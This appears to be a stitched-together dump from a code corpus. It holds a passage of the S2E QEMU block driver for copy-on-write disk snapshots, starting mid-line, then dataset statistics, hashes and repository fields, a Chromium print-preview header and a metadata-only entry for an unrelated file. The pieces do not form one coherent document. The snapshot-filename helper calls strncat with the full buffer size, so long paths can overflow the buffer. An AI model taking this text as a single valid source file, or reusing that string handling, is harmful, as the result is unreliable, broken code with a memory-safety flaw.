S2EB_SECTOR_SIZE BDRV_SECTOR_SIZE #define S2EB_L2_SECTORS (S2EB_L2_SIZE / S2EB_SECTOR_SIZE) typedef uint64_t bitmap_entry_t; #define S2EB_BITS_PER_ENTRY (sizeof(bitmap_entry_t) * 8) typedef struct S2EBLKL2 { /* The sectors that differ from the base snapshot */ bitmap_entry_t dirty_bitmap[S2EB_L2_SECTORS / S2EB_BITS_PER_ENTRY]; uint8_t block[S2EB_L2_SIZE]; } S2EBLKL2; typedef struct BDRVS2EState { uint64_t sector_count; uint64_t dirty_count; uint64_t l1_entries; S2EBLKL2 **l1; /* Temporary vm state */ uint8_t *snapshot_vmstate; size_t snapshot_vmstate_size; /* valid after we've opened a snapshot */ FILE *snapshot_fp; uint64_t vmstate_start; /* in sectors */ uint64_t vmstate_size; /* in bytes */ /* This is used when read_only = 1 and a snapshot is loaded */ bitmap_entry_t *vmstate_dirty_bitmap; uint32_t *vmstate_sector_map; uint64_t vmstate_sector_map_entries; uint64_t vmstate_sectors_start; FILE *image_file; uint64_t image_size; char *image_file_path; } BDRVS2EState; typedef struct S2ESnapshotHeader { /* Used to detect changes in the base image */ uint64_t base_image_timestamp; uint64_t sector_map_offset; uint64_t sector_map_entries; uint64_t sectors_start; /* The VM state is saved after the disk data */ uint64_t vmstate_start; /* In sectors */ uint64_t vmstate_size; /* In bytes */ char id_str[128]; /* unique snapshot id */ /* the following fields are informative. They are not needed for the consistency of the snapshot */ char name[256]; /* user chosen name */ uint32_t date_sec; /* UTC date of the snapshot */ uint32_t date_nsec; uint64_t vm_clock_nsec; /* VM clock relative to boot */ } S2ESnapshotHeader; /* Ensure that S2ESnapshotHeader is < 512 bytes at compile time */ static uint8_t __hdrcheck[sizeof(S2ESnapshotHeader) > 512 ? -1 : 0] __attribute__((unused)); static void s2e_blk_init(BlockDriverState *bs) { BDRVS2EState *s = bs->opaque; s->snapshot_vmstate_size = 0; s->snapshot_vmstate = NULL; s->vmstate_sector_map = NULL; s->vmstate_dirty_bitmap = NULL; s->vmstate_sector_map_entries = 0; s->vmstate_sectors_start = 0; /* Initialize the copy-on-write page table */ uint64_t length = s->image_size & BDRV_SECTOR_MASK; s->sector_count = length / S2EB_SECTOR_SIZE; s->l1_entries = s->sector_count / S2EB_L2_SECTORS; s->l1 = g_malloc0(sizeof(*s->l1) * s->l1_entries); s->snapshot_fp = NULL; } static bool get_file_size(FILE *fp, uint64_t *size) { bool ret = false; if (fseek(fp, 0L, SEEK_END) < 0) { goto err; } *size = ftell(fp); if (*size == LONG_MAX) { errno = EISDIR; goto err; } if (fseek(fp, 0L, SEEK_SET) < 0) { goto err; } ret = true; err: return ret; } static int s2e_open(BlockDriverState *bs, QDict *options, int flags, Error **errp) { int ret = 0; const char *base_file = qdict_get_try_str(options, "file"); if (!base_file) { fprintf(stderr, "Please use the file= parameter to specifiy the image to use.\n"); ret = ENOENT; goto err; } BDRVS2EState *s = bs->opaque; memset(s, 0, sizeof(*s)); s->image_file = fopen(base_file, "rb"); if (!s->image_file) { ret = errno; goto err; } if (!get_file_size(s->image_file, &s->image_size)) { fprintf(stderr, "Could not determine size of %s\n", base_file); ret = errno; goto err; } s->image_file_path = strdup(base_file); if (!s->image_file_path) { ret = ENOMEM; goto err; } s2e_blk_init(bs); err: if (ret < 0) { if (s->image_file) { fclose(s->image_file); } free(s->image_file_path); } qdict_del(options, "file"); return -ret; } static int s2e_reopen_fd(BlockDriverState *bs) { int ret = 0; BDRVS2EState *s = bs->opaque; if (fclose(s->image_file) < 0) { ret = errno; fprintf(stderr, "Could not close old file descriptor for %s\n", s->image_file_path); goto err; } s->image_file = fopen(s->image_file_path, "rb"); if (!s->image_file) { fprintf(stderr, "Could not open %s\n", s->image_file_path); ret = errno; goto err; } err: return -ret; } static int s2e_blk_is_dirty(BDRVS2EState *s, uint64_t sector_num) { uint64_t l1_index = sector_num / S2EB_L2_SECTORS; uint64_t l2_index = sector_num % S2EB_L2_SECTORS; if (!s->l1[l1_index]) { return 0; } uint64_t word = s->l1[l1_index]->dirty_bitmap[l2_index / S2EB_BITS_PER_ENTRY]; if (word & (1ULL << (l2_index % S2EB_BITS_PER_ENTRY))) { return 1; } return 0; } static void s2e_blk_print_stats(BlockDriverState *bs) { BDRVS2EState *s = bs->opaque; uint64_t wasted_sectors = 0; unsigned i, j; for (i = 0; i < s->l1_entries; ++i) { if (!s->l1[i]) { continue; } for (j = 0; j < S2EB_L2_SECTORS; ++j) { wasted_sectors += !s2e_blk_is_dirty(s, i * S2EB_L2_SECTORS + j); } } printf("s2e-block: wasted sectors: %"PRIu64"\n", wasted_sectors); } static void s2e_blk_copy_and_set_dirty(BDRVS2EState *s, uint8_t *buffer, uint64_t sector_num, unsigned count) { uint64_t l1_index = sector_num / S2EB_L2_SECTORS; uint64_t l2_index = sector_num % S2EB_L2_SECTORS; assert(l2_index + count <= S2EB_L2_SECTORS); assert(l1_index < s->l1_entries); if (!s->l1[l1_index]) { s->l1[l1_index] = g_malloc0(sizeof(S2EBLKL2)); } S2EBLKL2 *b = s->l1[l1_index]; uint64_t idx = l2_index; uint64_t cnt = count; while (cnt > 0) { bitmap_entry_t mask = 1ULL << (idx % S2EB_BITS_PER_ENTRY); unsigned entry_idx = idx / S2EB_BITS_PER_ENTRY; if (!(b->dirty_bitmap[entry_idx] & mask)) { s->dirty_count++; } b->dirty_bitmap[entry_idx] |= mask; ++idx; --cnt; } uint8_t *dest = &b->block[l2_index * S2EB_SECTOR_SIZE]; memcpy(dest, buffer, count * S2EB_SECTOR_SIZE); } static uint64_t s2e_find_dirty_sector_location(BDRVS2EState *s, uint64_t sector_num) { /* binary search (cf Knuth) */ uint64_t m_min = 0; uint64_t m_max = s->vmstate_sector_map_entries - 1; while (m_min <= m_max) { uint64_t m = (m_min + m_max) >> 1; uint32_t cur_sector = s->vmstate_sector_map[m]; if (cur_sector == sector_num) return s->vmstate_sectors_start + m; else if (sector_num < cur_sector) { m_max = m - 1; } else { m_min = m + 1; } } /** * Sector 0 is the snapshot's header and can therefore be * used to indicate an error. */ return 0; } static int s2e_read_dirty_from_snapshot_file(BDRVS2EState *s, uint8_t *buffer, uint64_t sector_num, int nb_sectors) { assert(s->snapshot_fp != NULL); int found_dirty = 0; if (!s->vmstate_dirty_bitmap) { return found_dirty; } while (nb_sectors > 0) { uint64_t i1 = sector_num / S2EB_BITS_PER_ENTRY; uint64_t i2 = sector_num % S2EB_BITS_PER_ENTRY; if (!s->vmstate_dirty_bitmap[i1]) { /* ok if it gets negative */ sector_num += S2EB_BITS_PER_ENTRY; nb_sectors -= S2EB_BITS_PER_ENTRY; buffer += BDRV_SECTOR_SIZE * S2EB_BITS_PER_ENTRY; continue; } if (s->vmstate_dirty_bitmap[i1] & (1ULL << i2)) { found_dirty = 1; //Locate the dirty sector on the disk uint64_t sector_on_image = s2e_find_dirty_sector_location(s, sector_num); assert(sector_on_image > 0); if (fseek(s->snapshot_fp, sector_on_image * S2EB_SECTOR_SIZE, SEEK_SET) < 0) { assert(false && "seek failed"); } if (fread(buffer, S2EB_SECTOR_SIZE, 1, s->snapshot_fp) != 1) { assert(false && "read failed"); } } nb_sectors--; sector_num++; buffer += BDRV_SECTOR_SIZE; } return found_dirty; } static int s2e_read_dirty(BDRVS2EState *s, uint8_t *buffer, uint64_t sector_num, int nb_sectors) { /* Check for copy-on-write data */ int found_dirty = 0; while (nb_sectors > 0) { uint64_t l1_index = ((uint64_t) sector_num) / S2EB_L2_SECTORS; uint64_t l2_index = ((uint64_t) sector_num) % S2EB_L2_SECTORS; /* Quick check if the entire page is non-dirty */ if (!s->l1[l1_index]) { /* increment may be bigger than nb_sector, but it's ok, nb_sectors is signed. */ uint64_t increment = S2EB_L2_SECTORS - l2_index; nb_sectors -= increment; sector_num += increment; buffer += increment * BDRV_SECTOR_SIZE; continue; } if (s2e_blk_is_dirty(s, sector_num)) { uint8_t *data = s->l1[l1_index]->block; memcpy(buffer, &data[l2_index * BDRV_SECTOR_SIZE], BDRV_SECTOR_SIZE); found_dirty = 1; } buffer += BDRV_SECTOR_SIZE; nb_sectors--; sector_num++; } return found_dirty; } /* This is for S2E mode, add latest writes from the current state */ static int s2e_read_dirty_klee(BlockDriverState *bs, uint8_t *buffer, uint64_t sector_num, unsigned nb_sectors) { int found_dirty = false; while (nb_sectors) { int read_count = __hook_bdrv_read(bs, sector_num, buffer, nb_sectors); if (read_count > 0) { found_dirty = true; sector_num += read_count; nb_sectors -= read_count; buffer += S2EB_SECTOR_SIZE * read_count; } else { ++sector_num; --nb_sectors; buffer += S2EB_SECTOR_SIZE; } } return found_dirty; } static int coroutine_fn s2e_co_readv(BlockDriverState *bs, int64_t sector_num, int nb_sectors, QEMUIOVector *qiov) { BDRVS2EState *s = bs->opaque; //printf("read %ld %d\n", sector_num, nb_sectors); assert(nb_sectors > 0 && "Something wrong happened in the block layer"); unsigned alloc_bytes = qiov->size; assert(alloc_bytes >= nb_sectors * BDRV_SECTOR_SIZE); uint8_t *temp_buffer = qemu_memalign(BDRV_SECTOR_SIZE, alloc_bytes); // First, read the base image if (fseek(s->image_file, sector_num * BDRV_SECTOR_SIZE, SEEK_SET) < 0) { abort(); } if (fread(temp_buffer, BDRV_SECTOR_SIZE, nb_sectors, s->image_file) != nb_sectors) { abort(); } int found_dirty = 0; // 2nd, read any data saved in the snapshot if (s->snapshot_fp) { found_dirty |= s2e_read_dirty_from_snapshot_file(s, temp_buffer, sector_num, nb_sectors); } // 3rd, read any data written locally found_dirty |= s2e_read_dirty(s, temp_buffer, sector_num, nb_sectors); // Finally, if multi-path execution is running, check for any per-path data if (kvm_has_disk_rw && kvm_has_disk_rw()) { found_dirty |= s2e_read_dirty_klee(bs, temp_buffer, sector_num, nb_sectors); } qemu_iovec_from_buf(qiov, 0, temp_buffer, alloc_bytes); qemu_vfree(temp_buffer); return 0; } static void s2e_write_dirty(BDRVS2EState *s, uint8_t *buffer, uint64_t sector_num, unsigned nb_sectors) { while (nb_sectors > 0) { uint64_t offset = (uint64_t) sector_num % S2EB_L2_SECTORS; uint64_t transfer_count = S2EB_L2_SECTORS - offset; if (transfer_count > nb_sectors) { transfer_count = nb_sectors; } s2e_blk_copy_and_set_dirty(s, buffer, sector_num, transfer_count); nb_sectors -= transfer_count; sector_num += transfer_count; buffer += transfer_count * S2EB_SECTOR_SIZE; } } static int coroutine_fn s2e_co_writev(BlockDriverState *bs, int64_t sector_num, int nb_sectors, QEMUIOVector *qiov, int flags) { BDRVS2EState *s = bs->opaque; assert(nb_sectors > 0 && "Something wrong happened in the block layer"); /* Don't write beyond the disk boundaries */ if (sector_num >= s->sector_count || sector_num + nb_sectors > s->sector_count) { assert(0); return -1; } //printf("write %ld %d\n", sector_num, nb_sectors); /* The entire block goes into the copy-on-write store */ unsigned alloc_bytes = qiov->size; assert(alloc_bytes >= nb_sectors * BDRV_SECTOR_SIZE); uint8_t *temp_buffer = qemu_memalign(BDRV_SECTOR_SIZE, alloc_bytes); qemu_iovec_to_buf(qiov, 0, temp_buffer, alloc_bytes); if (kvm_has_disk_rw && kvm_has_disk_rw()) { int ret = __hook_bdrv_write(bs, sector_num, temp_buffer, nb_sectors); assert(ret == 0); goto end1; } s2e_write_dirty(s, temp_buffer, sector_num, nb_sectors); end1: qemu_vfree(temp_buffer); return 0; } static void s2e_blk_close(BlockDriverState *bs) { BDRVS2EState *s = bs->opaque; int64_t i; printf("s2e-block: dirty sectors on close:%ld\n", s->dirty_count); if (s->l1) { for (i = 0; i < s->l1_entries; ++i) { if (s->l1[i]) { g_free(s->l1[i]); } } g_free(s->l1); } if (s->snapshot_vmstate) { g_free(s->snapshot_vmstate); } s->dirty_count = 0; s->l1 = NULL; s->l1_entries = 0; if (s->snapshot_fp) { fclose(s->snapshot_fp); } if (s->vmstate_dirty_bitmap) { g_free(s->vmstate_dirty_bitmap); } if (s->vmstate_sector_map) { g_free(s->vmstate_sector_map); } } static int64_t s2e_getlength(BlockDriverState *bs) { BDRVS2EState *s = bs->opaque; return s->image_size; } static int s2e_ioctl(BlockDriverState *bs, unsigned long int req, void *buf) { return bdrv_co_ioctl(bs->file->bs, req, buf); } static char *s2e_get_snapshot_file(const char *base_image, const char *snapshot) { char snapshot_file[1024]; int max_len = sizeof(snapshot_file) - 1; strncpy(snapshot_file, base_image, max_len); strncat(snapshot_file, ".", max_len); strncat(snapshot_file, snapshot, max_len); return strdup(snapshot_file); } static time_t s2e_get_mtime(const char *path) { struct stat statbuf; if (stat(path, &statbuf) == -1) { perror(path); exit(1); } return statbuf.st_mtime; } static int s2e_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info) { //printf("s2e_snapshot_create\n"); int ret = 0; BDRVS2EState *s = bs->opaque; char *snapshot_filename = s2e_get_snapshot_file(s->image_file_path, sn_info->name); if (!snapshot_filename) { ret = -1; goto fail1; } FILE *fp = fopen(snapshot_filename, "wb"); if (!fp) { ret = -1; goto fail2; } S2ESnapshotHeader header; memcpy(header.name, sn_info->name, sizeof(header.name)); memcpy(header.id_str, sn_info->id_str, sizeof(header.id_str)); header.date_sec = sn_info->date_sec; header.date_nsec = sn_info->date_nsec; header.vm_clock_nsec = sn_info->vm_clock_nsec; header.base_image_timestamp = s2e_get_mtime(s->image_file_path); header.sector_map_offset = 1; header.sector_map_entries = s->dirty_count; printf("s2e-block: dirty at save: %ld\n", s->dirty_count); unsigned sector_map_size = header.sector_map_entries * sizeof(uint32_t); header.sectors_start = 1 + sector_map_size / S2EB_SECTOR_SIZE; if (sector_map_size % S2EB_SECTOR_SIZE) { header.sectors_start++; } header.vmstate_start = header.sectors_start + s->dirty_count; header.vmstate_size = s->snapshot_vmstate_size; if (fwrite(&header, sizeof(header), 1, fp) != 1) { ret = -1; goto fail2; } if (fseek(fp, S2EB_SECTOR_SIZE, SEEK_SET) < 0) { ret = -1; goto fail2; } /* Build the list of dirty sectors */ uint32_t *sector_map = g_malloc0(header.sector_map_entries * sizeof(uint32_t)); uint8_t *sector_data = g_malloc0(header.sector_map_entries * S2EB_SECTOR_SIZE); unsigned written = 0; if (header.sector_map_entries > 0) { uint32_t *sector_map_ptr = sector_map; uint8_t *sector_data_ptr = sector_data; uint64_t i; unsigned j; for (i = 0; i < s->l1_entries; ++i) { if (!s->l1[i]) { continue; } uint64_t sector_index = i * S2EB_L2_SECTORS; for (j = 0; j < S2EB_L2_SECTORS; ++j) { if (s2e_blk_is_dirty(s, sector_index + j)) { *sector_map_ptr = sector_index + j; memcpy(sector_data_ptr, s->l1[i]->block + (j * S2EB_SECTOR_SIZE), S2EB_SECTOR_SIZE); ++sector_map_ptr; sector_data_ptr += S2EB_SECTOR_SIZE; ++written; } } } assert(written == s->dirty_count); /* Write them to disk */ if (fwrite(sector_map, header.sector_map_entries * sizeof(uint32_t), 1, fp) != 1) { ret = -1; goto fail3; } if (fseek(fp, header.sectors_start * S2EB_SECTOR_SIZE, SEEK_SET) < 0) { ret = -1; goto fail3; } if (fwrite(sector_data, header.sector_map_entries * S2EB_SECTOR_SIZE, 1, fp) != 1) { ret = 1; goto fail3; } } /* Write the VM state */ if (fseek(fp, header.vmstate_start * S2EB_SECTOR_SIZE, SEEK_SET) < 0) { ret = -1; goto fail3; } if (fwrite(s->snapshot_vmstate, s->snapshot_vmstate_size, 1, fp) != 1) { ret = -1; goto fail3; } free(s->snapshot_vmstate); s->snapshot_vmstate = NULL; s->snapshot_vmstate_size = 0; fail3: g_free(sector_data); g_free(sector_map); fail2: fclose(fp); fail1: free(snapshot_filename); return ret; } static FILE *s2e_read_snapshot_info(BlockDriverState *bs, const char *snapshot_name, S2ESnapshotHeader *header) { BDRVS2EState *s = bs->opaque; char *snapshot_file = s2e_get_snapshot_file(s->image_file_path, snapshot_name); if (!snapshot_file) { return NULL; } FILE *fp = fopen(snapshot_file, "rb"); if (!fp) { return NULL; } if (fread(header, sizeof(*header), 1, fp) != 1) { fclose(fp); return NULL; } return fp; } static int s2e_snapshot_load_disk_data(BDRVS2EState *s, const S2ESnapshotHeader *header) { int ret = -1; uint64_t i; if (!header->sector_map_entries) { /* No disk data to load */ return 0; } if (fseek(s->snapshot_fp, header->sector_map_offset * S2EB_SECTOR_SIZE, 0) < 0) { goto fail0; } uint32_t *sector_map = g_malloc(header->sector_map_entries * sizeof(uint32_t)); if (fread(sector_map, header->sector_map_entries * sizeof(uint32_t), 1, s->snapshot_fp) != 1) { goto fail1; } if (fseek(s->snapshot_fp, header->sectors_start * S2EB_SECTOR_SIZE, 0) < 0) { goto fail1; } uint8_t *sector_data = g_malloc(header->sector_map_entries * S2EB_SECTOR_SIZE); if (fread(sector_data, header->sector_map_entries * S2EB_SECTOR_SIZE, 1, s->snapshot_fp) != 1) { goto fail2; } uint8_t *sector_data_ptr = sector_data; for (i = 0; i < header->sector_map_entries; ++i) { uint64_t sector_num = sector_map[i]; s2e_blk_copy_and_set_dirty(s, sector_data_ptr, sector_num, 1); sector_data_ptr += S2EB_SECTOR_SIZE; } s->dirty_count = header->sector_map_entries; ret = 0; fail2: g_free(sector_data); fail1: g_free(sector_map); fail0: return ret; } static int s2e_snapshot_load_disk_data_ro(BDRVS2EState *s, const S2ESnapshotHeader *header) { int ret = -1; uint64_t i; if (!header->sector_map_entries) { /* No disk data to load */ return 0; } if (fseek(s->snapshot_fp, header->sector_map_offset * S2EB_SECTOR_SIZE, 0) < 0) { goto fail0; } uint32_t *sector_map = g_malloc(header->sector_map_entries * sizeof(uint32_t)); if (fread(sector_map, header->sector_map_entries * sizeof(uint32_t), 1, s->snapshot_fp) != 1) { goto fail1; } s->vmstate_sector_map = sector_map; s->vmstate_sector_map_entries = header->sector_map_entries; s->vmstate_sectors_start = header->sectors_start; uint64_t count = s->sector_count / S2EB_BITS_PER_ENTRY; s->vmstate_dirty_bitmap = g_malloc0(count * sizeof(*s->vmstate_dirty_bitmap)); for (i = 0; i < header->sector_map_entries; ++i) { uint64_t sector_num = sector_map[i]; uint64_t i0 = sector_num / S2EB_BITS_PER_ENTRY; uint64_t i1 = sector_num % S2EB_BITS_PER_ENTRY; s->vmstate_dirty_bitmap[i0] |= 1ULL << i1; } s->dirty_count = header->sector_map_entries; return 0; fail1: g_free(sector_map); fail0: return ret; } static int s2e_snapshot_goto(BlockDriverState *bs, const char *snapshot_id) { BDRVS2EState *s = bs->opaque; S2ESnapshotHeader header; FILE *fp = s2e_read_snapshot_info(bs, snapshot_id, &header); if (!fp) { return -1; } time_t mtime = s2e_get_mtime(s->image_file_path); if (header.base_image_timestamp != mtime) { printf("Modification timestamp of '%s' changed since the creation of the snapshot '%s'" " (st_mtime %" PRIu64 " != %" PRIu64 ").\n" "Please recreate a new snapshot.\n", bs->filename, snapshot_id, (uint64_t) mtime, header.base_image_timestamp); fclose(fp); return -1; } /* Discard whatever state we had before */ s2e_blk_close(bs); s2e_blk_init(bs); s->snapshot_fp = fp; s->vmstate_start = header.vmstate_start; s->vmstate_size = header.vmstate_size; int ret; bool read_only = kvm_has_disk_rw && kvm_has_disk_rw(); if (read_only) { ret = s2e_snapshot_load_disk_data_ro(s, &header); } else { ret = s2e_snapshot_load_disk_data(s, &header); } if (ret < 0) { fclose(fp); return -1; } printf("s2e-block: dirty after restore: %ld (ro=%d)\n", s->dirty_count, read_only); s2e_blk_print_stats(bs); return 0; } static int s2e_snapshot_delete(BlockDriverState *bs, const char *snapshot_id, const char *name, Error **errp) { BDRVS2EState *s = bs->opaque; char *snapshot_file = s2e_get_snapshot_file(s->image_file_path, snapshot_id); return unlink(snapshot_file); } static int s2e_snapshot_list(BlockDriverState *bs, QEMUSnapshotInfo **psn_info) { int ret = 0; BDRVS2EState *s = bs->opaque; /* List all the snapshots in the base image's directory */ char *dirstring = strdup(s->image_file_path); char *filestring = strdup(s->image_file_path); char *directory = dirname(dirstring); char *image_name = basename(filestring); size_t image_name_len = strlen(image_name); DIR *dir = opendir (directory); if (!dir) { ret = -1; goto fail1; } struct dirent *ent; unsigned snapshot_count = 0; QEMUSnapshotInfo *sn_tab = NULL, *sn_info; while ((ent = readdir (dir)) != NULL) { if (strstr(ent->d_name, image_name) == ent->d_name) { const char *snapshot_name = ent->d_name + image_name_len; if (snapshot_name[0] != '.' || snapshot_name[1] == 0) { continue; } snapshot_name++; //printf ("snapshot: %s (%s)\n", ent->d_name, snapshot_name); S2ESnapshotHeader header; FILE *fp = s2e_read_snapshot_info(bs, snapshot_name, &header); if (!fp) { continue; } fclose(fp); ++snapshot_count; sn_tab = realloc(sn_tab, snapshot_count * sizeof(QEMUSnapshotInfo)); sn_info = sn_tab + snapshot_count - 1; memcpy(sn_info->name, header.name, sizeof(sn_info->name)); memcpy(sn_info->id_str, header.id_str, sizeof(sn_info->id_str)); sn_info->vm_state_size = header.vmstate_size; sn_info->date_sec = header.date_sec; sn_info->date_nsec = header.date_nsec; sn_info->vm_clock_nsec = header.vm_clock_nsec; } } *psn_info = sn_tab; ret = snapshot_count; closedir (dir); fail1: free(dirstring); free(filestring); return ret; } static int s2e_get_info(BlockDriverState *bs, BlockDriverInfo *bdi) { bdi->cluster_size = S2EB_SECTOR_SIZE; bdi->vm_state_offset = 0; return 0; } static int s2e_save_vmstate(BlockDriverState *bs, QEMUIOVector *qiov, int64_t pos) { BDRVS2EState *s = bs->opaque; /* Accumulate the data into the temporary buffer */ if (pos + qiov->size > s->snapshot_vmstate_size) { s->snapshot_vmstate = realloc(s->snapshot_vmstate, pos + qiov->size); s->snapshot_vmstate_size = pos + qiov->size; } qemu_iovec_to_buf(qiov, 0, s->snapshot_vmstate + pos, qiov->size); return 0; } static int s2e_load_vmstate(BlockDriverState *bs, QEMUIOVector *qiov, int64_t pos) { uint64_t size = qiov->size; uint8_t *buf = malloc(size); if (!buf) { size = 0; goto err; } BDRVS2EState *s = bs->opaque; assert(s->snapshot_fp != NULL); /* Don't overflow */ if (pos + size >= s->vmstate_size) { size = s->vmstate_size - pos; } /* Read the VM data from the snapshot */ uint64_t offset = s->vmstate_start * S2EB_SECTOR_SIZE + pos; if (fseek(s->snapshot_fp, offset, 0) < 0) { size = 0; goto err; } if (fread(buf, size, 1, s->snapshot_fp) != 1) { size = 0; goto err; } qemu_iovec_from_buf(qiov, 0, buf, size); free(buf); err: return size; } static void s2e_bdrv_format_default_perms(BlockDriverState *bs, BdrvChild *c, const BdrvChildRole *role, BlockReopenQueue *reopen_queue, uint64_t perm, uint64_t shared, uint64_t *nperm, uint64_t *nshared) { bdrv_format_default_perms(bs, c, role, reopen_queue, perm, shared, nperm, nshared); *nperm |= BLK_PERM_WRITE; *nshared |= BLK_PERM_WRITE; } static int s2e_check_perm(BlockDriverState *bs, uint64_t perm, uint64_t shared, Error **errp) { return 0; } static BlockDriver bdrv_s2e = { .format_name = "s2e", /* It's really 0, but we need to make g_malloc() happy */ .instance_size = sizeof(BDRVS2EState), .bdrv_open = s2e_open, .bdrv_close = s2e_blk_close, .bdrv_child_perm = s2e_bdrv_format_default_perms, .bdrv_check_perm = s2e_check_perm, .bdrv_co_readv = s2e_co_readv, .bdrv_co_writev = s2e_co_writev, .bdrv_getlength = s2e_getlength, .bdrv_snapshot_create = s2e_snapshot_create, .bdrv_snapshot_goto = s2e_snapshot_goto, .bdrv_snapshot_delete = s2e_snapshot_delete, .bdrv_snapshot_list = s2e_snapshot_list, .bdrv_get_info = s2e_get_info, .bdrv_save_vmstate = s2e_save_vmstate, .bdrv_load_vmstate = s2e_load_vmstate, .bdrv_co_ioctl = s2e_ioctl, .bdrv_reopen_fd = s2e_reopen_fd }; static void bdrv_s2e_init(void) { bdrv_register(&bdrv_s2e); } block_init(bdrv_s2e_init);
28.989021
115
0.631498
bcfbe7d32bc768c1ce72469e8e72ebd16e964084
93
h
C
Project/HttpGame/Source/HttpGame/Net/NetPacket.h
BoilTask/HttpFramework
a0f956cd6375723667156f55196e98547355fb4e
[ "MIT" ]
null
null
null
Project/HttpGame/Source/HttpGame/Net/NetPacket.h
BoilTask/HttpFramework
a0f956cd6375723667156f55196e98547355fb4e
[ "MIT" ]
null
null
null
Project/HttpGame/Source/HttpGame/Net/NetPacket.h
BoilTask/HttpFramework
a0f956cd6375723667156f55196e98547355fb4e
[ "MIT" ]
null
null
null
#pragma once #include "NetRequest.h" #include "NetResponse.h" #include "NetPacketFactory.h"
15.5
29
0.763441
4030f940e4d129c786024ce37cb7b38b42258487
5,096
h
C
chrome/browser/printing/print_view_manager.h
sarang-apps/darshan_browser
173649bb8a7c656dc60784d19e7bb73e07c20daa
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
chrome/browser/printing/print_view_manager.h
sarang-apps/darshan_browser
173649bb8a7c656dc60784d19e7bb73e07c20daa
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
chrome/browser/printing/print_view_manager.h
sarang-apps/darshan_browser
173649bb8a7c656dc60784d19e7bb73e07c20daa
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2021-01-05T23:43:46.000Z
2021-01-07T23:36:34.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_PRINTING_PRINT_VIEW_MANAGER_H_ #define CHROME_BROWSER_PRINTING_PRINT_VIEW_MANAGER_H_ #include "base/macros.h" #include "chrome/browser/printing/print_view_manager_base.h" #include "components/printing/common/print.mojom-forward.h" #include "content/public/browser/web_contents_user_data.h" #include "mojo/public/cpp/bindings/pending_associated_remote.h" #include "printing/buildflags/buildflags.h" namespace content { class RenderFrameHost; class RenderProcessHost; } namespace printing { // Manages the print commands for a WebContents. class PrintViewManager : public PrintViewManagerBase, public content::WebContentsUserData<PrintViewManager> { public: ~PrintViewManager() override; // Same as PrintNow(), but for the case where a user prints with the system // dialog from print preview. // |dialog_shown_callback| is called when the print dialog is shown. bool PrintForSystemDialogNow(base::OnceClosure dialog_shown_callback); // Same as PrintNow(), but for the case where a user press "ctrl+shift+p" to // show the native system dialog. This can happen from both initiator and // preview dialog. bool BasicPrint(content::RenderFrameHost* rfh); // Initiate print preview of the current document and specify whether a // selection or the entire frame is being printed. bool PrintPreviewNow(content::RenderFrameHost* rfh, bool has_selection); // Initiate print preview of the current document and provide the renderer // a printing::mojom::PrintRenderer to perform the actual rendering of // the print document. bool PrintPreviewWithPrintRenderer( content::RenderFrameHost* rfh, mojo::PendingAssociatedRemote<mojom::PrintRenderer> print_renderer); // Notify PrintViewManager that print preview is starting in the renderer for // a particular WebNode. void PrintPreviewForWebNode(content::RenderFrameHost* rfh); // Notify PrintViewManager that print preview is about to finish. Unblock the // renderer in the case of scripted print preview if needed. void PrintPreviewAlmostDone(); // Notify PrintViewManager that print preview has finished. Unblock the // renderer in the case of scripted print preview if needed. void PrintPreviewDone(); // content::WebContentsObserver implementation. void RenderFrameCreated(content::RenderFrameHost* render_frame_host) override; void RenderFrameDeleted(content::RenderFrameHost* render_frame_host) override; bool OnMessageReceived(const IPC::Message& message, content::RenderFrameHost* render_frame_host) override; content::RenderFrameHost* print_preview_rfh() { return print_preview_rfh_; } protected: explicit PrintViewManager(content::WebContents* web_contents); private: friend class content::WebContentsUserData<PrintViewManager>; enum PrintPreviewState { NOT_PREVIEWING, USER_INITIATED_PREVIEW, SCRIPTED_PREVIEW, }; struct FrameDispatchHelper; // Helper method for PrintPreviewNow() and PrintPreviewWithRenderer(). // Initiate print preview of the current document by first notifying the // renderer. Since this happens asynchronously, the print preview dialog // creation will not be completed on the return of this function. Returns // false if print preview is impossible at the moment. bool PrintPreview( content::RenderFrameHost* rfh, mojo::PendingAssociatedRemote<mojom::PrintRenderer> print_renderer, bool has_selection); // IPC Message handlers. void OnDidShowPrintDialog(content::RenderFrameHost* rfh); void OnSetupScriptedPrintPreview(content::RenderFrameHost* rfh, IPC::Message* reply_msg); void OnShowScriptedPrintPreview(content::RenderFrameHost* rfh, bool source_is_modifiable); void OnScriptedPrintPreviewReply(IPC::Message* reply_msg); void MaybeUnblockScriptedPreviewRPH(); base::OnceClosure on_print_dialog_shown_callback_; // Current state of print preview for this view. PrintPreviewState print_preview_state_ = NOT_PREVIEWING; // The current RFH that is print previewing. It should be a nullptr when // |print_preview_state_| is NOT_PREVIEWING. content::RenderFrameHost* print_preview_rfh_ = nullptr; // Keeps track of the pending callback during scripted print preview. content::RenderProcessHost* scripted_print_preview_rph_ = nullptr; // True if |scripted_print_preview_rph_| needs to be unblocked. bool scripted_print_preview_rph_set_blocked_ = false; // Indicates whether we're switching from print preview to system dialog. This // flag is true between PrintForSystemDialogNow() and PrintPreviewDone(). bool is_switching_to_system_dialog_ = false; WEB_CONTENTS_USER_DATA_KEY_DECL(); DISALLOW_COPY_AND_ASSIGN(PrintViewManager); }; } // namespace printing #endif // CHROME_BROWSER_PRINTING_PRINT_VIEW_MANAGER_H_
39.2
80
0.769427
7bf9ec491ed4008f532aa3392cca704e1768adc5
375
h
C
UdeskSDK/UDChatMessage/UDIM/Models/Messages/UdeskImageMessage.h
XYGDeveloper/FreelyHealth_Medical
3616f537e32a93f3144e2a1ea6acfac865e9fddb
[ "MIT" ]
1
2019-04-24T07:31:26.000Z
2019-04-24T07:31:26.000Z
UdeskSDK/UDChatMessage/UDIM/Models/Messages/UdeskImageMessage.h
XYGDeveloper/FreelyHealth_Medical
3616f537e32a93f3144e2a1ea6acfac865e9fddb
[ "MIT" ]
null
null
null
UdeskSDK/UDChatMessage/UDIM/Models/Messages/UdeskImageMessage.h
XYGDeveloper/FreelyHealth_Medical
3616f537e32a93f3144e2a1ea6acfac865e9fddb
[ "MIT" ]
null
null
null
